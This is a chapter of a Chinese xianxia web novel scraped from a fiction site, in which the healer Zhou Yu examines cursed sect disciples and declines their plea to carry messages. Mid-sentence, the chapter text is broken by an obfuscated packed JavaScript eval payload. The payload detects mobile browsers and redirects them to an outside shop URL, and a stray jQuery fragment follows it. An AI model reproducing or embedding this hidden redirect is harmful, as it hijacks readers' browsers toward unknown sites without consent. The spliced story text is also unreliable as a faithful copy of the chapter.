文趣网 > 其他小说 > 千万不要可怜一个反派 > 10. 解咒
    闻叔这个人物,周玉当然知道,自萧天霖变成孤儿,一直由他抚养,形同亲人。

    这位世上唯一的亲人最终死在楼无月手中,彻底激发了萧天霖的恨意,发誓要找楼无月报仇雪恨,不死不休。

    楼无月杀人没有缘由,可现在顶了身份的周玉不是,既没有杀他的理由,更没有杀他的想法,激怒萧天霖这种事根本不会出现。

    她大可安心,不必紧张。

    想明白这点后,周玉十分平静地送走萧天霖。

    心里的大石头终于落地,萧天霖维持着好心情回程,直到遇见某位同门,他暗叹一句冤家路窄,面上却不显,打算假装没看见直接进去。

    然而有些人会被讨厌是有原因的,他看着忽然挡路的人,无声叹了口气,“师兄找我何事?”

    听到这个称呼,对方皱了下眉,神情颇为不满。

    萧天霖当然知道他不喜他这般称呼,可他到底是丛云门外门弟子,称呼并没有错,错的是他们容不下他罢了。

    “你去哪里了?难道不知如今什么情况,四处乱跑,万一招惹什么回来,岂不是害了大家!”

    熟悉的口吻从陆云开嘴里蹦出来,萧天霖没想到这种时候他还要搞在丛云门的那一套,他耐着性子回道:“出门前我和闻叔报备过,师兄放心,我绝对不会招惹来什么祸害影响大家。”

    不知道这句话哪里戳到了他,陆云开压低嗓子,语气很不友好,“很得意吧,所有人没有了灵力,反倒是你这个曾经的废灵根脱胎换骨,如今大家都要依赖你。”

    萧天霖正色道:“我没有那样想,师兄你不要强加莫须有的罪名在我身上!如果没什么事,请让开,我要去找闻叔。”

    陆云开厉色道:“你什么态度!”

    “以前我什么态度,现在还是什么态度。”说完,萧天霖绕开他进门,浑然不管身后陆云开是什么脸色。

    闻叔听说他和那位不绝谷的医修和好,真心为他感到高兴,又听说他接下来每日去那边干活,脸上露出迟疑,萧天霖心头一紧,“闻叔,是有何不妥吗?”

    闻叔神色迟疑,“若是以前,并无不妥,但如今你灵脉初开,修炼之事不可懈怠……”

    萧天霖认真保证,“闻叔你放心,那边需要做的事情并不多,不会耽误修炼。若不是她,我不会有现在的造化,她是个特别好的人!”

    闻叔不再反对,“既如此,你心中有数就行。”

    这时,有人走了进来,“你既然有这样的人脉,何故隐瞒?看来这位医修本领很大,或许能帮我们解开咒枷。”

    不知他们在门外听了多久,萧天霖面上闪过几分不喜,也有几分懊恼,以前没有灵力五感迟钝就罢了,如今有了灵力,怎还如此大意。

    他冷冷注视进来的陆云开,出言反对:“咒枷是楼无月专为仙门弄出来的束缚术,若是医修能解,岂能折磨仙门这么多年。”

    陆云开反驳道:“其他医修不能,不代表所有医修不能,她既能替你通灵脉,说不定也能解咒枷。你不愿意,难道是不想大家恢复灵力?”

    越来越多的同门聚集过来,听见陆云开此话,或多或少带了些异样的目光看向萧天霖。他在丛云门没什么人缘,此刻竟没一个人帮他讲话,竟连闻叔看他的眼神也带了一丝不解。

    喉咙似被什么东西堵住,不上不下,不一会儿,他便尝到一丝涩味。

    往日他不觉得这样如何,今日却有些说不出的难堪,他看着闻叔,艰难开口:“我明日问问她,但不能保证她会答应。”

    陆云开又道:“那你再顺便求求她,能不能帮忙传递信息,如今咱们与仙门失联,若将此地情况上报门主,他们定能想方设法将大家救出。”他停顿片刻,语气有些意味不明,“毕竟要等一个刚开灵脉的人修炼,还不知要等到几时。”

    萧天霖疾言厉色,“传递消息绝对不行!大家都知道不绝谷不参与仙魔两门之事,三番两次从万诡门手下救我,已令万诡门对她不满。若因此事把她牵扯进来,岂不是害了她,这和恩将仇报有何区别?”

    他神情恳切,对闻叔道:“闻叔,我们不能做这种事情!若万诡门因此对她出手,不绝谷又不肯保她,她一个医修如何能在万诡门手下求生?那些人的手段,我们都清楚……”

    闻叔似被他说服,“传递消息一事我们容后再议,的确不能拉无辜之人下水。天霖,关于咒枷,还要麻烦你和那位医修聊一聊,请她帮帮忙。”

    萧天霖无奈答应:“好,明日我便去。”

    第二日,周玉在萧天霖吞吞吐吐的话语里搞清楚了情况,难怪他一大早进门就苦着脸,还以为多大点事。

    即使他不找她,她也会想办法让他带她去见见那群同门。虽说目前不担心他们搞事,但提前观望他们的态度,一旦风向不对,她可以早做打算。他们在渡厄城无依无靠,医修的身份更容易拉近关系,若能打入他们内部,或许事半功倍。

    周玉:“咒枷我不能保证解开,不过可以趁此机会帮他们检查下身体,前几日不是才从厄苦森林出来,正好给他们看看还有没有什么隐患。”

    萧天霖一扫苦闷,“太好了!回去我就和闻叔他们说这事,等你什么时候方便,我带他们过来。”

    周玉摆摆手,“不用那么麻烦,人多容易引人注意,你带我过去就行。”

    明明是他们找人帮忙,却要她亲自过去,按理来说这是非常不礼貌的,但以如今的局面,若他们经常出入她的居所,很有可能引起万诡门注意,只会给她招来麻烦,思索再三,最好的办法确实只有她单独前往不引人注目。

    周玉上门那日,闻叔他们早早便做好了准备。

    禁区不像贫民区,这里房屋设施明显好很多,仙门的人不知通过什么渠道弄了个稍大的房子,勉强容纳了这群人。

    周玉进门略扫了一眼,里面约有十来个人,据萧天霖所言,其中几位是和他在厄苦森林遇上的,其余的则是这几日陆陆续续找来汇合的。

    其中一人眼神颇为热切,周玉感到奇怪,悄然打量了他一眼,并不认识,她留了个心,便先不管了。

    她给这群人一一检查,萧天霖则在旁边充当合格的药侍,不仅给她打下手,还给她时不时介绍当前的人,不过他讲的很简单,听着似乎也不熟的感觉。轮到那位眼神热切的人时,她稍微提了提神,只听萧天霖语气很平淡的说了一句“陆师兄”,然后就没了。

    这位陆师兄脸色当场就黑了。

    周玉仅用一秒确认他跟这人不合。

    和主角不合,不就是倒霉鬼一个,恰好她也是个倒霉鬼。

    倒霉鬼1号给倒霉鬼2号把了脉,同样摇了摇头,这是表示咒枷无解的意思。

    这位陆师兄的脸更黑了。

    在场的人一个不落都做了检查,个别几位之前因伤重还未完全养好的,周玉调配了一些药送给他们。

    咒枷是楼无月专为仙门打造的束缚术,有解术之法,但需要楼无月魔功。不管处于什么身份,周玉都不能随便给他们解。

    闻叔毕竟年长许多,即便对此结果失望,但也很快调整好,其他人就不同了,有人失望至极,有人无法接受,整个氛围十分沉闷。

    作为唯一一个没被咒枷坑害的人,萧天霖在此

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725414|208839||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刻只能保持着沉默。

    这时,有人打破沉默,“在下有个不情之请……”

    “陆师兄!”萧天霖意识到他要说什么,迅速出言打断。

    陆云开不理他,依旧我行我素,“周姑娘是不绝谷医修,可自由出入渡厄城,能否替我们向仙门传递几条消息,此等大恩,我们所有人定会涌泉相报。”

    萧天霖语速很急:“昨日我们已就此事做出结论,师兄怎可言而无信。”

    陆云开颇有些不管不顾:“我并未答应!我相信在场的许多人都希望周姑娘能帮这个忙,助我们离开此地,仙门定会铭记你的恩情!周姑娘,我们深受万诡门迫害,生不如死,坚持到今日不过是凭着心中执念,宁可与仙门同道共死于诛灭魔头之路,而不是在此苟延残喘,死的不明不白。”

    他深深鞠躬,“恳请姑娘助我等一臂之力!”

    随着他话音落下,一个接一个的人躬身。

    “恳请姑娘助我等一臂之力!”

    在场没跟着动的只有少数几人,萧天霖本就反对,剩下的,则在看闻叔态度。

    闻叔垂着眼,并未第一时间出来主持场面。

    周玉心下冷笑,暗骂对方老狐狸。

    他们会想把希望寄托在她身上并非不能理解,万诡门手段狠毒,不把他们的生死当回事,一开始或许有几分英勇就义的刚烈,但随着同门一个接一个惨死眼前,心防总有崩溃的一日。

    趋利避害是人之长情。

    她同样如此。

    视线在萧天霖急切的脸上滑过,她声音坚定:“咒枷之事恕我无能为力,同样的,你所求之事我亦爱莫能助。”

    陆云开还想说些什么,“可……”

    周玉不给他继续的机会,“三番两次救你们仙门之人,替你们诊病开药,作为医者我已仁至义尽。世人皆知,不绝谷门规其中一条明令禁止弟子参与仙魔两门纷争。若我因一时心软替你们传信,违背门规,自己丢了性命就算了,给师门招惹祸端,那便是整个不绝谷的罪人。”

    她利落地收拾完桌上的东西,“告辞。”

    话说到这份上,众人便不好再强求。

    闻叔微不可闻地叹息一声,用眼神阻止了陆云开继续。

    萧天霖追在她身后,直到将人送出门,道歉的话才说了出来,“周玉姑娘,对不住,我以为他们不会再说这事,都怪我没处理好。”

    周玉垂眸,似乎有些感伤:“我没有怪你的意思,不过今后,怕是他们不会欢迎我了。”

    “不会的!”萧天霖语气急切,生怕因为此事令她伤了心,“他们只是太想回家了。”

    “回家”二字似乎同时戳中在场两人的心神,对话忽然沉寂了片刻。

    知晓今日一事造成的误会恐怕短期内无法消解,萧天霖神情颓唐,“那我还能去找你吗?”

    竟是连当药侍的话都不敢提了。

    周玉松开捏紧药箱肩带的手,随口道:“不来给我干活,你想赖账?”

    一扫萎靡,萧天霖连声否认,很有眼力见地接走她的药箱,自是开开心心将她送回去。

    至于他回来还要面对什么,他不说,她也不会问。

    渡厄城的夜晚再度降临,月牙无声隐匿云层,一道小巧的影子悄悄飞过一个又一个矮小的屋檐,划过院墙,在烛火微亮的窗台停下。

    “笃笃笃”

    细弱的轻啄声响起。

    周玉开了个窗缝,一只符鸽钻了进来,豆豆眼呆呆地看她。

    她在鸽子头顶点了一下,眼前便幻化出一段文字——

    “明日未时,先草坡见。”